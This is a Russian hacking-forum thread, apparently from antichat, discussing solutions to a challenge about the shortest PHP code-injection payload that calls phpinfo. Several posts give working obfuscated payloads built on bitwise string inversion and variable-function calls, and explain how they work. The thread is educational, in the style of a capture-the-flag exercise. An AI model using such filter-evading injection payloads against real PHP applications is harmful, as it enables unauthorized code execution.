↑ (https://antichat.live)
${~"%a0%b8%ba%ab"}[%aa]() ?%aa=phpinfo
Шикарно!
https://i.imgur.com/py9RlFW.jpg
Огромное спасибо за разборчики и решения, ну и спасибо @D3N (https://antichat.live/members/330007/) за переводчик!
Вообще, я начинающий в этом деле, приятно видеть что тут поддерживают новичков, а не пытаются закрыться от них гигантскими хайдами.
Взял новые знания на вооружение.
Блин, переводчик - тема! Спасибо @D3N (https://antichat.live/members/330007/)
↑ (https://antichat.live/posts/4278633/)
Шикарно!
https://i.imgur.com/py9RlFW.jpg
победил dooble (https://antichat.live/members/295866/), двойные ковычки там лишние
↑ (https://antichat.live/posts/4277701/)
Кстати, шутка зашла, пересчитал, точно - 13
.
Но это, когда нагрузка делится get+post.
Пояснения про самый короткий вариант.
Он конечно будет с применением ~- побитовая инверсия символов строки.
Поскольку инверсия - обратимая операция, т.е. двойное ее применение дает исходную строку.
~~'phpinfo' =='phpinfo';
Короче этой нотации просто нет.
И, на заметку, ~string без кавычек выбросит нотис (Use of undefined constant phpinfo), но тоже будет работать на символах алфавита и некоторых других, скобки воспринимаются как конец строки .
Проверял два варианта, при первой проверке получил одинаковую длину решения и в дальнейшем оптимизировал только тот, в котором вся посылка умещается в input.
Уж не знаю, обсчитался в количестве символов, или просто записал неоптимально, но шутка Лайта зашла и повторная проверка показала, что вариант с раздельной нагрузкой post +get действительно короче.
В первом варианте переменной $_ присваивается строка ~~'phpinfo', а потом вызывается функция из имени переменной $_().
.SpoilerTarget" type="button">Spoiler: v1
Второй вариант проделывает эту же манипуляцию с массивом $_GET.
.SpoilerTarget" type="button">Spoiler: v2
здесь $_GET['_'] = 'phpinfo'.
Поскольку вариант ищем короткий, то кавычки не ставим, нотисы не мешают выполнить код.
Кстати l1ght (https://antichat.live/members/30257/) тоже нашел оба эти варианта, но не отписал ТС, видимо решив, что я передам, ну или для него это не очень значимо.
В любом случае, восстанавливаю справедливость.
Самый короткий вариант за Лайтом.
PS
Забыл пояснить курл нотацию, или "Сложный (фигурный) синтаксис" (https://secure.php.net/manual/ru/language.types.string.php),
внутри ${} может быть переменная или функция.
У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения?
Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.
↑ (https://antichat.live/posts/4278889/)
У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения?
Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.
Мне, как человеку, который знает php на уровне скриптов под апи вк - было всё понятно. Очень здорово.
У меня не совсем по "краказябрам" вопрос..
В ответах к теме люди писали что использовали burp и sqlmap для поиска решения, так вот, меня заинтересовало как именно это происходило.
Насчет XSS - всё понятно, есть плагин бурповский xss-validator который автоматически проверяет на "алерты", а как поиск происходил в данном случае? Ручками?
Скульмап - это прикол.
Бурп - скорее всего просто привычный инструмент для манипуляции с пакетами.
unstppbl
21.01.2019, 14:39
↑ (https://antichat.live/posts/4278889/)
У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения?
Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.
Всё понятно, спасибо
Та дам!
Лайт прислал решение на 12 символов.
↑ (https://antichat.live)
а с:
$a=~"phpinfo";echo ~$a; phpinfo
$a="phpinfo";~~$a(); true
$a=~"phpinfo";~$a(); false
понял почему ?
↑ (https://antichat.live)
тип данных не меняется,синтаксис вроде позволяет,я это так и не вкурил
↑ (https://antichat.live)
все понял,
(~%8F%97%8F%96%91%99%90)() - 12 символов
Первоначально не поверил ему, поскольку этот вариант я проверял, минимум дважды, должен работать, но не работает.
Раскомментировал строку //$p='(~'.~'phpinfo'.')()';
работает.
.SpoilerTarget" type="button">Spoiler
Эту магию оставил на потом разбираться, сейчас больше интересует магия скобок.
Давайте добивать вместе.
Я когда экспериментировал, исходил из того, что запись (здесь чего то) означает, что внутри скобок находится строка, сейчас не помню где, поищю, но скобки - это еще один способ записи строки, например конструкция (int)$var использует его.
В результате $a=~'phpinfo'; print ~$a; получается не строка, возможно константа.
А скобки принудительно заставляют воспринимать, как строку $a=~'phpinfo';(~$a)();
Есть еще вариант объяснения, что скобки это просто последовательность операций и в пользу этого говорят проверки
eval('print (3-2)()'.';'); - Function name must be a string
eval('print ("2"+"2")()'.';'); - Function name must be a string
eval('print (2*2)()'.';');- Function name must be a string
По крайней мере, это точно не преобразование в строку.
Кстати эта конструкция работает только на семерке, а в пятой ветке не работает.
==
PS
Лайт - красавчик.
#этапять
но поскольку отказался оформить пост, то #этаужечетыре и нет возможности закидать его репой (((.
==
PS2
Вот чем хорошо, когда команда ресерчит, вариантов набирается много и разных, и задание вроде бы простое, а превращается в нормальное, полноценное, интересное.
leaderru
01.04.2020, 14:21
Прохожу эти задания в 2020, здесь самостоятельно никак не справился
↑ (https://antichat.live/posts/4277605/)
Прошел. 23 символа
Почему меня нет в списке прошедших? Репутацию тоже не дали
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot